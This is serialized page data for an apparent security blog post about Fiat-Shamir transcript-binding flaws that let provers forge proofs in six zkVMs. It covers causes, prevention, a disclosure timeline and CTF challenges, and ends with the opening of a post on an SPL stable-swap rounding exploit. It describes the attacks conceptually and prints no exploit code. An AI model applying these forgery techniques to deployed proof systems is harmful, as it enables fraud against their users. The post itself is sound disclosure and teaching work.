5,"tag":271,"props":14888,"children":14890},{"className":14889},[296,30],[14891],{"type":25,"tag":271,"props":14892,"children":14894},{"className":14893},[296],[14895],{"type":30,"value":4916},{"type":25,"tag":271,"props":14897,"children":14899},{"className":14898},[391],[14900],{"type":30,"value":394},{"type":25,"tag":271,"props":14902,"children":14904},{"className":14903,"style":14678},[296,297],[14905],{"type":30,"value":11188},{"type":25,"tag":271,"props":14907,"children":14909},{"className":14908},[404],[14910],{"type":30,"value":407},{"type":25,"tag":271,"props":14912,"children":14914},{"className":14913,"style":411},[337],[],{"type":25,"tag":271,"props":14916,"children":14918},{"className":14917},[296,30],[14919],{"type":25,"tag":271,"props":14920,"children":14922},{"className":14921},[296],[14923],{"type":30,"value":14924},"inout",{"type":25,"tag":271,"props":14926,"children":14928},{"className":14927,"style":2296},[296],[14929],{"type":30,"value":6434},{"type":25,"tag":271,"props":14931,"children":14933},{"className":14932},[296,30],[14934],{"type":25,"tag":271,"props":14935,"children":14937},{"className":14936},[296],[14938],{"type":30,"value":8917},{"type":25,"tag":271,"props":14940,"children":14942},{"className":14941,"style":2296},[296],[14943],{"type":30,"value":6434},{"type":25,"tag":271,"props":14945,"children":14947},{"className":14946},[296,30],[14948],{"type":25,"tag":271,"props":14949,"children":14951},{"className":14950},[296],[14952],{"type":30,"value":10135},{"type":25,"tag":271,"props":14954,"children":14956},{"className":14955},[437],[14957],{"type":30,"value":440},{"type":25,"tag":26,"props":14959,"children":14960},{},[14961,14963,14968,14970,15043],{"type":30,"value":14962},"With challenges fixed (independent of ",{"type":25,"tag":264,"props":14964,"children":14966},{"className":14965},[],[14967],{"type":30,"value":10331},{"type":30,"value":14969},"), an attacker can find an alternate witness ",{"type":25,"tag":264,"props":14971,"children":14973},{"className":14972},[267,268],[14974],{"type":25,"tag":271,"props":14975,"children":14977},{"className":14976},[274],[14978],{"type":25,"tag":271,"props":14979,"children":14981},{"className":14980,"ariaHidden":280},[279],[14982],{"type":25,"tag":271,"props":14983,"children":14985},{"className":14984},[285],[14986,14991],{"type":25,"tag":271,"props":14987,"children":14990},{"className":14988,"style":14989},[290],"height:1.0307em;vertical-align:-0.1944em;",[],{"type":25,"tag":271,"props":14992,"children":14994},{"className":14993},[296],[14995,15004],{"type":25,"tag":271,"props":14996,"children":14998},{"className":14997},[296,30],[14999],{"type":25,"tag":271,"props":15000,"children":15002},{"className":15001},[296],[15003],{"type":30,"value":10331},{"type":25,"tag":271,"props":15005,"children":15007},{"className":15006},[982],[15008],{"type":25,"tag":271,"props":15009,"children":15011},{"className":15010},[987],[15012],{"type":25,"tag":271,"props":15013,"children":15015},{"className":15014},[992],[15016],{"type":25,"tag":271,"props":15017,"children":15020},{"className":15018,"style":15019},[997],"height:0.8362em;",[15021],{"type":25,"tag":271,"props":15022,"children":15024},{"style":15023},"top:-3.1473em;margin-right:0.05em;",[15025,15029],{"type":25,"tag":271,"props":15026,"children":15028},{"className":15027,"style":1008},[1007],[],{"type":25,"tag":271,"props":15030,"children":15032},{"className":15031},[1013,1014,1015,1016],[15033],{"type":25,"tag":271,"props":15034,"children":15036},{"className":15035},[296,1016],[15037],{"type":25,"tag":271,"props":15038,"children":15040},{"className":15039},[296,1016],[15041],{"type":30,"value":15042},"′",{"type":30,"value":15044}," that produces the same evaluation. This is a single 128-bit linear constraint over hundreds of bits, yielding a single linear equation in a high-dimensional binary witness space, which is typically underconstrained and admits many alternative witnesses under common parameterizations.",{"type":25,"tag":26,"props":15046,"children":15047},{},[15048,15052,15054],{"type":25,"tag":38,"props":15049,"children":15050},{},[15051],{"type":30,"value":9059},{"type":30,"value":15053}," Fixed on December 29, 2025 via ",{"type":25,"tag":83,"props":15055,"children":15058},{"href":15056,"rel":15057},"https://github.com/binius-zk/binius64/pull/1355/commits/86a515f0632d2acdf547ed82780dfe7f9f39358f",[9066],[15059],{"type":30,"value":15060},"commit 86a515f",{"type":25,"tag":92,"props":15062,"children":15063},{},[],{"type":25,"tag":96,"props":15065,"children":15067},{"id":15066},"why-does-this-keep-happening",[15068],{"type":30,"value":15069},"Why Does This Keep Happening?",{"type":25,"tag":26,"props":15071,"children":15072},{},[15073],{"type":30,"value":15074},"Given that we found the same bug class in six independent implementations, at some point we have to ask whether there is a systemic issue making this mistake so common.",{"type":25,"tag":247,"props":15076,"children":15078},{"id":15077},"academic-papers-dont-specify-fiat-shamir",[15079],{"type":30,"value":15080},"Academic Papers Don't Specify Fiat-Shamir",{"type":25,"tag":26,"props":15082,"children":15083},{},[15084,15086,15091,15093,15118,15120,15123,15125,15150,15152,15179],{"type":30,"value":15085},"Academic papers usually describe ",{"type":25,"tag":10281,"props":15087,"children":15088},{},[15089],{"type":30,"value":15090},"interactive",{"type":30,"value":15092}," protocols: \"Prover sends ",{"type":25,"tag":264,"props":15094,"children":15096},{"className":15095},[267,268],[15097],{"type":25,"tag":271,"props":15098,"children":15100},{"className":15099},[274],[15101],{"type":25,"tag":271,"props":15102,"children":15104},{"className":15103,"ariaHidden":280},[279],[15105],{"type":25,"tag":271,"props":15106,"children":15108},{"className":15107},[285],[15109,15113],{"type":25,"tag":271,"props":15110,"children":15112},{"className":15111,"style":291},[290],[],{"type":25,"tag":271,"props":15114,"children":15116},{"className":15115,"style":8574},[296,297],[15117],{"type":30,"value":8577},{"type":30,"value":15119},". Verifier sends",{"type":25,"tag":14098,"props":15121,"children":15122},{},[],{"type":30,"value":15124},"random ",{"type":25,"tag":264,"props":15126,"children":15128},{"className":15127},[267,268],[15129],{"type":25,"tag":271,"props":15130,"children":15132},{"className":15131},[274],[15133],{"type":25,"tag":271,"props":15134,"children":15136},{"className":15135,"ariaHidden":280},[279],[15137],{"type":25,"tag":271,"props":15138,"children":15140},{"className":15139},[285],[15141,15145],{"type":25,"tag":271,"props":15142,"children":15144},{"className":15143,"style":3164},[290],[],{"type":25,"tag":271,"props":15146,"children":15148},{"className":15147,"style":2296},[296,297],[15149],{"type":30,"value":2299},{"type":30,"value":15151},". Prover sends ",{"type":25,"tag":264,"props":15153,"children":15155},{"className":15154},[267,268],[15156],{"type":25,"tag":271,"props":15157,"children":15159},{"className":15158},[274],[15160],{"type":25,"tag":271,"props":15161,"children":15163},{"className":15162,"ariaHidden":280},[279],[15164],{"type":25,"tag":271,"props":15165,"children":15167},{"className":15166},[285],[15168,15172],{"type":25,"tag":271,"props":15169,"children":15171},{"className":15170,"style":291},[290],[],{"type":25,"tag":271,"props":15173,"children":15176},{"className":15174,"style":15175},[296,297],"margin-right:0.00773em;",[15177],{"type":30,"value":15178},"R",{"type":30,"value":15180},".\"",{"type":25,"tag":26,"props":15182,"children":15183},{},[15184,15186,15211,15213,15238],{"type":30,"value":15185},"They often omit the necessary steps to make the protocol non-interactive: \"Hash ",{"type":25,"tag":264,"props":15187,"children":15189},{"className":15188},[267,268],[15190],{"type":25,"tag":271,"props":15191,"children":15193},{"className":15192},[274],[15194],{"type":25,"tag":271,"props":15195,"children":15197},{"className":15196,"ariaHidden":280},[279],[15198],{"type":25,"tag":271,"props":15199,"children":15201},{"className":15200},[285],[15202,15206],{"type":25,"tag":271,"props":15203,"children":15205},{"className":15204,"style":291},[290],[],{"type":25,"tag":271,"props":15207,"children":15209},{"className":15208,"style":8574},[296,297],[15210],{"type":30,"value":8577},{"type":30,"value":15212}," before sampling ",{"type":25,"tag":264,"props":15214,"children":15216},{"className":15215},[267,268],[15217],{"type":25,"tag":271,"props":15218,"children":15220},{"className":15219},[274],[15221],{"type":25,"tag":271,"props":15222,"children":15224},{"className":15223,"ariaHidden":280},[279],[15225],{"type":25,"tag":271,"props":15226,"children":15228},{"className":15227},[285],[15229,15233],{"type":25,"tag":271,"props":15230,"children":15232},{"className":15231,"style":3164},[290],[],{"type":25,"tag":271,"props":15234,"children":15236},{"className":15235,"style":2296},[296,297],[15237],{"type":30,"value":2299},{"type":30,"value":15239},". Also hash the public statement. Also hash intermediate values that affect later equations.\"",{"type":25,"tag":26,"props":15241,"children":15242},{},[15243],{"type":30,"value":15244},"Security proofs thus also analyze the interactive protocols where binding is implicit. The responsibility of determining what to include in the transcript therefore falls on the implementor, which may not have a good understanding of the full protocol.",{"type":25,"tag":247,"props":15246,"children":15248},{"id":15247},"the-hot-potato-problem",[15249],{"type":30,"value":15250},"The Hot Potato Problem",{"type":25,"tag":26,"props":15252,"children":15253},{},[15254],{"type":30,"value":15255},"Modern zkVMs are modular:",{"type":25,"tag":26,"props":15257,"children":15258},{},[15259],{"type":25,"tag":698,"props":15260,"children":15263},{"alt":15261,"src":15262},"11_hot_potato","/posts/zkvms-unfaithful-claims/11_hot_potato.svg",[],{"type":25,"tag":26,"props":15265,"children":15266},{},[15267],{"type":30,"value":15268},"It often happens that each layer assumes the previous/next layer handles the transcript binding for a value, so in the end it never happens.",{"type":25,"tag":247,"props":15270,"children":15272},{"id":15271},"optimization-pressure",[15273],{"type":30,"value":15274},"Optimization Pressure",{"type":25,"tag":26,"props":15276,"children":15277},{},[15278],{"type":30,"value":15279},"Performance is existential for ZK. Since every hash operation has a cost, there is constant pressure to exclude values that are \"probably fine\" to leave out.",{"type":25,"tag":26,"props":15281,"children":15282},{},[15283],{"type":30,"value":15284},"There are indeed cases when this can be done safely, but determining what is safe requires a full understanding of all protocols involved, and the decision to exclude something should be double and triple checked by experts.",{"type":25,"tag":247,"props":15286,"children":15288},{"id":15287},"testing-doesnt-catch-adversarial-inputs",[15289],{"type":30,"value":15290},"Testing Doesn't Catch Adversarial Inputs",{"type":25,"tag":26,"props":15292,"children":15293},{},[15294],{"type":30,"value":15295},"Unit tests run the honest prover. Integration tests run the honest prover. Fuzzing only randomly perturbs values and has a very low probability of succeeding in fooling a verifier. Identifying Fiat-Shamir bugs requires thorough manual security analysis, and sometimes even that falls short.",{"type":25,"tag":92,"props":15297,"children":15298},{},[],{"type":25,"tag":96,"props":15300,"children":15302},{"id":15301},"how-to-find-and-fix-these-bugs",[15303],{"type":30,"value":15304},"How to Find and Fix These Bugs",{"type":25,"tag":247,"props":15306,"children":15308},{"id":15307},"prevention",[15309],{"type":30,"value":15310},"Prevention",{"type":25,"tag":26,"props":15312,"children":15313},{},[15314],{"type":30,"value":15315},"Fiat-Shamir has long been a known source of soundness bugs, which has driven the development of primitives that make implementation less error-prone.",{"type":25,"tag":26,"props":15317,"children":15318},{},[15319],{"type":30,"value":15320},"One such tool is to merge the proof and transcript, to force all values that are sent by the prover to be automatically absorbed into the transcript.",{"type":25,"tag":26,"props":15322,"children":15323},{},[15324],{"type":30,"value":15325},"The prover holds a proof buffer which emulates the communication channel between prover and verifier. When a value is sent by the prover it is added to the proof buffer and automatically absorbed into the transcript. When the prover then needs to read a challenge from the verifier it simply squeezes from the current transcript.",{"type":25,"tag":26,"props":15327,"children":15328},{},[15329],{"type":30,"value":15330},"This can then be done in reverse for the verifier. It gradually reads values from the proof buffer and can thus sync the transcript state and derive the same challenges.",{"type":25,"tag":26,"props":15332,"children":15333},{},[15334],{"type":30,"value":15335},"Halo2 follows this pattern, and Binius is transcript-centric as well. But even with a merged proof/transcript, statement data (e.g., public inputs) must still be absorbed before sampling any challenges that govern equations depending on them—and as Binius demonstrates, even transcript-centric systems can miss this.",{"type":25,"tag":92,"props":15337,"children":15338},{},[],{"type":25,"tag":96,"props":15340,"children":15342},{"id":15341},"responsible-disclosure-timeline",[15343],{"type":30,"value":15344},"Responsible Disclosure Timeline",{"type":25,"tag":15346,"props":15347,"children":15348},"table",{},[15349,15378],{"type":25,"tag":15350,"props":15351,"children":15352},"thead",{},[15353],{"type":25,"tag":15354,"props":15355,"children":15356},"tr",{},[15357,15363,15368,15373],{"type":25,"tag":15358,"props":15359,"children":15360},"th",{},[15361],{"type":30,"value":15362},"System",{"type":25,"tag":15358,"props":15364,"children":15365},{},[15366],{"type":30,"value":15367},"Reported",{"type":25,"tag":15358,"props":15369,"children":15370},{},[15371],{"type":30,"value":15372},"Fixed",{"type":25,"tag":15358,"props":15374,"children":15375},{},[15376],{"type":30,"value":15377},"Response Time",{"type":25,"tag":15379,"props":15380,"children":15381},"tbody",{},[15382,15405,15426,15446,15468,15489],{"type":25,"tag":15354,"props":15383,"children":15384},{},[15385,15390,15395,15400],{"type":25,"tag":15386,"props":15387,"children":15388},"td",{},[15389],{"type":30,"value":42},{"type":25,"tag":15386,"props":15391,"children":15392},{},[15393],{"type":30,"value":15394},"Sep 2025",{"type":25,"tag":15386,"props":15396,"children":15397},{},[15398],{"type":30,"value":15399},"Oct 3, 2025",{"type":25,"tag":15386,"props":15401,"children":15402},{},[15403],{"type":30,"value":15404},"\u003C1 week",{"type":25,"tag":15354,"props":15406,"children":15407},{},[15408,15412,15417,15422],{"type":25,"tag":15386,"props":15409,"children":15410},{},[15411],{"type":30,"value":49},{"type":25,"tag":15386,"props":15413,"children":15414},{},[15415],{"type":30,"value":15416},"Oct 2025",{"type":25,"tag":15386,"props":15418,"children":15419},{},[15420],{"type":30,"value":15421},"Oct 24, 2025",{"type":25,"tag":15386,"props":15423,"children":15424},{},[15425],{"type":30,"value":15404},{"type":25,"tag":15354,"props":15427,"children":15428},{},[15429,15433,15437,15442],{"type":25,"tag":15386,"props":15430,"children":15431},{},[15432],{"type":30,"value":55},{"type":25,"tag":15386,"props":15434,"children":15435},{},[15436],{"type":30,"value":15416},{"type":25,"tag":15386,"props":15438,"children":15439},{},[15440],{"type":30,"value":15441},"Oct 31, 2025",{"type":25,"tag":15386,"props":15443,"children":15444},{},[15445],{"type":30,"value":15404},{"type":25,"tag":15354,"props":15447,"children":15448},{},[15449,15453,15458,15463],{"type":25,"tag":15386,"props":15450,"children":15451},{},[15452],{"type":30,"value":61},{"type":25,"tag":15386,"props":15454,"children":15455},{},[15456],{"type":30,"value":15457},"Nov 2025",{"type":25,"tag":15386,"props":15459,"children":15460},{},[15461],{"type":30,"value":15462},"Mar 5, 2026",{"type":25,"tag":15386,"props":15464,"children":15465},{},[15466],{"type":30,"value":15467},"~4 months",{"type":25,"tag":15354,"props":15469,"children":15470},{},[15471,15475,15480,15485],{"type":25,"tag":15386,"props":15472,"children":15473},{},[15474],{"type":30,"value":74},{"type":25,"tag":15386,"props":15476,"children":15477},{},[15478],{"type":30,"value":15479},"Dec 2025",{"type":25,"tag":15386,"props":15481,"children":15482},{},[15483],{"type":30,"value":15484},"Dec 29, 2025",{"type":25,"tag":15386,"props":15486,"children":15487},{},[15488],{"type":30,"value":15404},{"type":25,"tag":15354,"props":15490,"children":15491},{},[15492,15496,15500,15505],{"type":25,"tag":15386,"props":15493,"children":15494},{},[15495],{"type":30,"value":67},{"type":25,"tag":15386,"props":15497,"children":15498},{},[15499],{"type":30,"value":15457},{"type":25,"tag":15386,"props":15501,"children":15502},{},[15503],{"type":30,"value":15504},"Jan 21, 2026?",{"type":25,"tag":15386,"props":15506,"children":15507},{},[15508],{"type":30,"value":15509},"3 months",{"type":25,"tag":26,"props":15511,"children":15512},{},[15513],{"type":30,"value":15514},"All six teams were notified; responses ranged from immediate acknowledgement to delayed fix, and all reported issues have since been addressed.",{"type":25,"tag":92,"props":15516,"children":15517},{},[],{"type":25,"tag":96,"props":15519,"children":15521},{"id":15520},"challenges",[15522],{"type":30,"value":88},{"type":25,"tag":26,"props":15524,"children":15525},{},[15526,15528],{"type":30,"value":15527},"Do you think you have a good understanding of these bugs? We have prepared challenges to allow you to practice implementing two of these exploits. If you solve any of them, follow the instructions in the flag ",{"type":25,"tag":15529,"props":15530,"children":15531},"del",{},[15532],{"type":30,"value":15533},"the first 10 solvers will get a T-shirt.",{"type":25,"tag":26,"props":15535,"children":15536},{},[15537,15539,15592,15593,15849],{"type":30,"value":15538},"Your goal is to find a counter example of Fermat's Last Theorem, i.e you know ",{"type":25,"tag":264,"props":15540,"children":15542},{"className":15541},[267,268],[15543],{"type":25,"tag":271,"props":15544,"children":15546},{"className":15545},[274],[15547],{"type":25,"tag":271,"props":15548,"children":15550},{"className":15549,"ariaHidden":280},[279],[15551],{"type":25,"tag":271,"props":15552,"children":15554},{"className":15553},[285],[15555,15559,15564,15569,15573,15578,15583,15587],{"type":25,"tag":271,"props":15556,"children":15558},{"className":15557,"style":7398},[290],[],{"type":25,"tag":271,"props":15560,"children":15562},{"className":15561},[296,297],[15563],{"type":30,"value":83},{"type":25,"tag":271,"props":15565,"children":15567},{"className":15566},[404],[15568],{"type":30,"value":407},{"type":25,"tag":271,"props":15570,"children":15572},{"className":15571,"style":411},[337],[],{"type":25,"tag":271,"props":15574,"children":15576},{"className":15575},[296,297],[15577],{"type":30,"value":2508},{"type":25,"tag":271,"props":15579,"children":15581},{"className":15580},[404],[15582],{"type":30,"value":407},{"type":25,"tag":271,"props":15584,"children":15586},{"className":15585,"style":411},[337],[],{"type":25,"tag":271,"props":15588,"children":15590},{"className":15589},[296,297],[15591],{"type":30,"value":13243},{"type":30,"value":1970},{"type":25,"tag":264,"props":15594,"children":15596},{"className":15595},[267,268],[15597],{"type":25,"tag":271,"props":15598,"children":15600},{"className":15599},[274],[15601],{"type":25,"tag":271,"props":15602,"children":15604},{"className":15603,"ariaHidden":280},[279],[15605,15668,15730,15836],{"type":25,"tag":271,"props":15606,"children":15608},{"className":15607},[285],[15609,15614,15655,15659,15664],{"type":25,"tag":271,"props":15610,"children":15613},{"className":15611,"style":15612},[290],"height:0.8974em;vertical-align:-0.0833em;",[],{"type":25,"tag":271,"props":15615,"children":15617},{"className":15616},[296],[15618,15623],{"type":25,"tag":271,"props":15619,"children":15621},{"className":15620},[296,297],[15622],{"type":30,"value":83},{"type":25,"tag":271,"props":15624,"children":15626},{"className":15625},[982],[15627],{"type":25,"tag":271,"props":15628,"children":15630},{"className":15629},[987],[15631],{"type":25,"tag":271,"props":15632,"children":15634},{"className":15633},[992],[15635],{"type":25,"tag":271,"props":15636,"children":15638},{"className":15637,"style":7693},[997],[15639],{"type":25,"tag":271,"props":15640,"children":15641},{"style":1002},[15642,15646],{"type":25,"tag":271,"props":15643,"children":15645},{"className":15644,"style":1008},[1007],[],{"type":25,"tag":271,"props":15647,"children":15649},{"className":15648},[1013,1014,1015,1016],[15650],{"type":25,"tag":271,"props":15651,"children":15653},{"className":15652},[296,1016],[15654],{"type":30,"value":7711},{"type":25,"tag":271,"props":15656,"children":15658},{"className":15657,"style":2066},[337],[],{"type":25,"tag":271,"props":15660,"children":15662},{"className":15661},[2071],[15663],{"type":30,"value":2074},{"type":25,"tag":271,"props":15665,"children":15667},{"className":15666,"style":2066},[337],[],{"type":25,"tag":271,"props":15669,"children":15671},{"className":15670},[285],[15672,15676,15717,15721,15726],{"type":25,"tag":271,"props":15673,"children":15675},{"className":15674,"style":7693},[290],[],{"type":25,"tag":271,"props":15677,"children":15679},{"className":15678},[296],[15680,15685],{"type":25,"tag":271,"props":15681,"children":15683},{"className":15682},[296,297],[15684],{"type":30,"value":2508},{"type":25,"tag":271,"props":15686,"children":15688},{"className":15687},[982],[15689],{"type":25,"tag":271,"props":15690,"children":15692},{"className":15691},[987],[15693],{"type":25,"tag":271,"props":15694,"children":15696},{"className":15695},[992],[15697],{"type":25,"tag":271,"props":15698,"children":15700},{"className":15699,"style":7693},[997],[15701],{"type":25,"tag":271,"props":15702,"children":15703},{"style":1002},[15704,15708],{"type":25,"tag":271,"props":15705,"children":15707},{"className":15706,"style":1008},[1007],[],{"type":25,"tag":271,"props":15709,"children":15711},{"className":15710},[1013,1014,1015,1016],[15712],{"type":25,"tag":271,"props":15713,"children":15715},{"className":15714},[296,1016],[15716],{"type":30,"value":7711},{"type":25,"tag":271,"props":15718,"children":15720},{"className":15719,"style":338},[337],[],{"type":25,"tag":271,"props":15722,"children":15724},{"className":15723},[356],[15725],{"type":30,"value":1065},{"type":25,"tag":271,"props":15727,"children":15729},{"className":15728,"style":338},[337],[],{"type":25,"tag":271,"props":15731,"children":15733},{"className":15732},[285],[15734,15739,15780,15785,15789,15794,15799,15803,15808,15813,15817,15822,15826,15832],{"type":25,"tag":271,"props":15735,"children":15738},{"className":15736,"style":15737},[290],"height:1.0085em;vertical-align:-0.1944em;",[],{"type":25,"tag":271,"props":15740,"children":15742},{"className":15741},[296],[15743,15748],{"type":25,"tag":271,"props":15744,"children":15746},{"className":15745},[296,297],[15747],{"type":30,"value":13243},{"type":25,"tag":271,"props":15749,"children":15751},{"className":15750},[982],[15752],{"type":25,"tag":271,"props":15753,"children":15755},{"className":15754},[987],[15756],{"type":25,"tag":271,"props":15757,"children":15759},{"className":15758},[992],[15760],{"type":25,"tag":271,"props":15761,"children":15763},{"className":15762,"style":7693},[997],[15764],{"type":25,"tag":271,"props":15765,"children":15766},{"style":1002},[15767,15771],{"type":25,"tag":271,"props":15768,"children":15770},{"className":15769,"style":1008},[1007],[],{"type":25,"tag":271,"props":15772,"children":15774},{"className":15773},[1013,1014,1015,1016],[15775],{"type":25,"tag":271,"props":15776,"children":15778},{"className":15777},[296,1016],[15779],{"type":30,"value":7711},{"type":25,"tag":271,"props":15781,"children":15783},{"className":15782},[404],[15784],{"type":30,"value":407},{"type":25,"tag":271,"props":15786,"children":15788},{"className":15787,"style":411},[337],[],{"type":25,"tag":271,"props":15790,"children":15792},{"className":15791},[296,297],[15793],{"type":30,"value":83},{"type":25,"tag":271,"props":15795,"children":15797},{"className":15796},[404],[15798],{"type":30,"value":407},{"type":25,"tag":271,"props":15800,"children":15802},{"className":15801,"style":411},[337],[],{"type":25,"tag":271,"props":15804,"children":15806},{"className":15805},[296,297],[15807],{"type":30,"value":2508},{"type":25,"tag":271,"props":15809,"children":15811},{"className":15810},[404],[15812],{"type":30,"value":407},{"type":25,"tag":271,"props":15814,"children":15816},{"className":15815,"style":411},[337],[],{"type":25,"tag":271,"props":15818,"children":15820},{"className":15819},[296,297],[15821],{"type":30,"value":13243},{"type":25,"tag":271,"props":15823,"children":15825},{"className":15824,"style":338},[337],[],{"type":25,"tag":271,"props":15827,"children":15829},{"className":15828},[356],[15830],{"type":30,"value":15831},"≥",{"type":25,"tag":271,"props":15833,"children":15835},{"className":15834,"style":338},[337],[],{"type":25,"tag":271,"props":15837,"children":15839},{"className":15838},[285],[15840,15844],{"type":25,"tag":271,"props":15841,"children":15843},{"className":15842,"style":3128},[290],[],{"type":25,"tag":271,"props":15845,"children":15847},{"className":15846},[296],[15848],{"type":30,"value":968},{"type":30,"value":15850},". Good luck!",{"type":25,"tag":247,"props":15852,"children":15854},{"id":15853},"jolt",[15855],{"type":30,"value":42},{"type":25,"tag":26,"props":15857,"children":15858},{},[15859,15861,15872,15874],{"type":30,"value":15860},"See ",{"type":25,"tag":83,"props":15862,"children":15869},{"href":15863,"target":15864,"rel":15865,"download":15868},"/posts/zkvms-unfaithful-claims/handout_jolt.tar.gz","_blank",[15866,15867],"noopener","noreferrer","handout_jolt.tar.gz",[15870],{"type":30,"value":15871},"the handout",{"type":30,"value":15873}," for the setup running on the server.\nSubmit your proof by connecting to ",{"type":25,"tag":264,"props":15875,"children":15877},{"className":15876},[],[15878],{"type":30,"value":15879},"jolt.chal.osec.io:8960",{"type":25,"tag":247,"props":15881,"children":15883},{"id":15882},"nexus-1",[15884],{"type":30,"value":49},{"type":25,"tag":26,"props":15886,"children":15887},{},[15888,15889,15896,15897],{"type":30,"value":15860},{"type":25,"tag":83,"props":15890,"children":15894},{"href":15891,"target":15864,"rel":15892,"download":15893},"/posts/zkvms-unfaithful-claims/handout_nexus.tar.gz",[15866,15867],"handout_nexus.tar.gz",[15895],{"type":30,"value":15871},{"type":30,"value":15873},{"type":25,"tag":264,"props":15898,"children":15900},{"className":15899},[],[15901],{"type":30,"value":15902},"nexus.chal.osec.io:8950",{"type":25,"tag":26,"props":15904,"children":15905},{},[15906],{"type":30,"value":15907},"Now you should have enough margin to prove Fermat wrong.",{"type":25,"tag":92,"props":15909,"children":15910},{},[],{"type":25,"tag":96,"props":15912,"children":15914},{"id":15913},"takeaways",[15915],{"type":30,"value":15916},"Takeaways",{"type":25,"tag":26,"props":15918,"children":15919},{},[15920],{"type":30,"value":15921},"We found critical soundness vulnerabilities in six separate zkVMs. All share the same root cause: prover-controlled values that affect verification equations were not bound to the Fiat-Shamir transcript before challenges were derived.",{"type":25,"tag":26,"props":15923,"children":15924},{},[15925],{"type":30,"value":15926},"The fix in each case is trivial—one or two lines of code. But finding the bug requires understanding the full verification flow and asking: \"What if the prover chose this value after seeing the challenges?\"",{"type":25,"tag":26,"props":15928,"children":15929},{},[15930,15935],{"type":25,"tag":38,"props":15931,"children":15932},{},[15933],{"type":30,"value":15934},"For the ZK ecosystem:",{"type":30,"value":15936}," The Fiat-Shamir transform looks simple. Hash everything, derive challenges. In practice, \"everything\" is hard to specify when you have dozens of components, each with its own inputs and outputs, each expecting someone else to handle binding.",{"type":25,"tag":26,"props":15938,"children":15939},{},[15940],{"type":30,"value":15941},"We found six instances by examining a handful of systems. How many more exist in the dozens of zkVMs, proof systems, and recursive verifiers deployed today?",{"type":25,"tag":26,"props":15943,"children":15944},{},[15945,15950],{"type":25,"tag":38,"props":15946,"children":15947},{},[15948],{"type":30,"value":15949},"For auditors:",{"type":30,"value":15951}," Draw the data flow. Trace the transcript. Check every prover-controlled value against when its relevant challenges are derived.",{"type":25,"tag":26,"props":15953,"children":15954},{},[15955,15960],{"type":25,"tag":38,"props":15956,"children":15957},{},[15958],{"type":30,"value":15959},"For builders:",{"type":30,"value":15961}," Treat the transcript as a sacred ledger. When in doubt, absorb it.",{"type":25,"tag":15963,"props":15964,"children":15965},"style",{},[15966],{"type":30,"value":15967},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}",{"title":7,"searchDepth":11641,"depth":11641,"links":15969},[15970,15971,15974,15980,15981,15989,15995,15998,15999,16003],{"id":98,"depth":11641,"text":101},{"id":242,"depth":11641,"text":245,"children":15972},[15973],{"id":249,"depth":14354,"text":252},{"id":713,"depth":11641,"text":716,"children":15975},[15976,15977,15978,15979],{"id":724,"depth":14354,"text":727},{"id":913,"depth":14354,"text":916},{"id":4345,"depth":14354,"text":4348},{"id":5562,"depth":14354,"text":5565},{"id":7214,"depth":11641,"text":7217},{"id":7724,"depth":11641,"text":7727,"children":15982},[15983,15984,15985,15986,15987,15988],{"id":7746,"depth":14354,"text":7749},{"id":9075,"depth":14354,"text":49},{"id":10211,"depth":14354,"text":10214},{"id":10883,"depth":14354,"text":10886},{"id":13545,"depth":14354,"text":13548},{"id":14115,"depth":14354,"text":74},{"id":15066,"depth":11641,"text":15069,"children":15990},[15991,15992,15993,15994],{"id":15077,"depth":14354,"text":15080},{"id":15247,"depth":14354,"text":15250},{"id":15271,"depth":14354,"text":15274},{"id":15287,"depth":14354,"text":15290},{"id":15301,"depth":11641,"text":15304,"children":15996},[15997],{"id":15307,"depth":14354,"text":15310},{"id":15341,"depth":11641,"text":15344},{"id":15520,"depth":11641,"text":88,"children":16000},[16001,16002],{"id":15853,"depth":14354,"text":42},{"id":15882,"depth":14354,"text":49},{"id":15913,"depth":11641,"text":15916},"markdown","content:blog:2026-03-03-zkvms-unfaithful-claims.md","content","blog/2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims","md",[16011,18510,18847,22382,26741,31867,42114,43545,44307,48533,53558,58990,60146,63636,74029,80756,82594,84303,88968,102863,105584,110356,112795,115140,120925,136092,144392,154316,159594,168987,171324],{"_path":16012,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":16013,"description":16014,"image":16015,"date":16019,"isFeatured":18,"tags":16020,"onBlogPage":18,"body":16023,"_type":16004,"_id":18507,"_source":16006,"_file":18508,"_stem":18509,"_extension":16009},"/blog/2022-04-26-spl-swap-rounding","Becoming a Millionaire, 0.000150 BTC at a Time","How we discovered a critical issue in Solana's stable swap implementation. A story about arbitrage and rounding.",{"src":16016,"width":16017,"height":16018},"/posts/spl-swap/title.jpg",600,368,"2022-04-26",[16021,16022],"solana","report",{"type":22,"children":16024,"toc":18501},[16025,16039,16044,16049,16057,16063,16068,16073,16082,16090,16095,16100,16108,16113,16118,16502,16512,16517,17059,17064,17072,17079,17085,17090,17095,17100,17107,17119,17124,17136,17344,17349,17354,17360,17365,17370,17417,17422,17430,17435,17440,17445,17589,17602,17717,17731,17739,17753,17761,17774,17779,17791,17799,17821,18439,18445,18450,18462,18475,18482,18487,18492,18497],{"type":25,"tag":26,"props":16026,"children":16027},{},[16028,16030,16037],{"type":30,"value":16029},"We discovered a critical rounding issue in the Solana Program Library's implementation of stable swap, ",{"type":25,"tag":83,"props":16031,"children":16034},{"href":16032,"rel":16033},"https://github.com/solana-labs/solana-program-library/tree/master/token-swap/program",[9066],[16035],{"type":30,"value":16036},"spl-token-swap",{"type":30,"value":16038},". Similar to Neodyme's spl-token-lending exploit, we were able to extract a single token per instruction. This exceeds the value of the 5000 lamport transaction fee on BTC stable swaps, allowing an attacker to profitably drain funds.",{"type":25,"tag":26,"props":16040,"children":16041},{},[16042],{"type":30,"value":16043},"Such BTC stable swaps had over 74 million in combined value. The total value of stable swaps impacted exceed 700 million.",{"type":25,"tag":26,"props":16045,"children":16046},{},[16047],{"type":30,"value":16048},"We would also like to thank the Saber team for their fast triage and remediation.",{"type":25,"tag":26,"props":16050,"children":16051},{},[16052],{"type":25,"tag":10281,"props":16053,"children":16054},{},[16055],{"type":30,"value":16056},"Rounding bugs are an increasingly common vulnerability class, enabled by low transaction 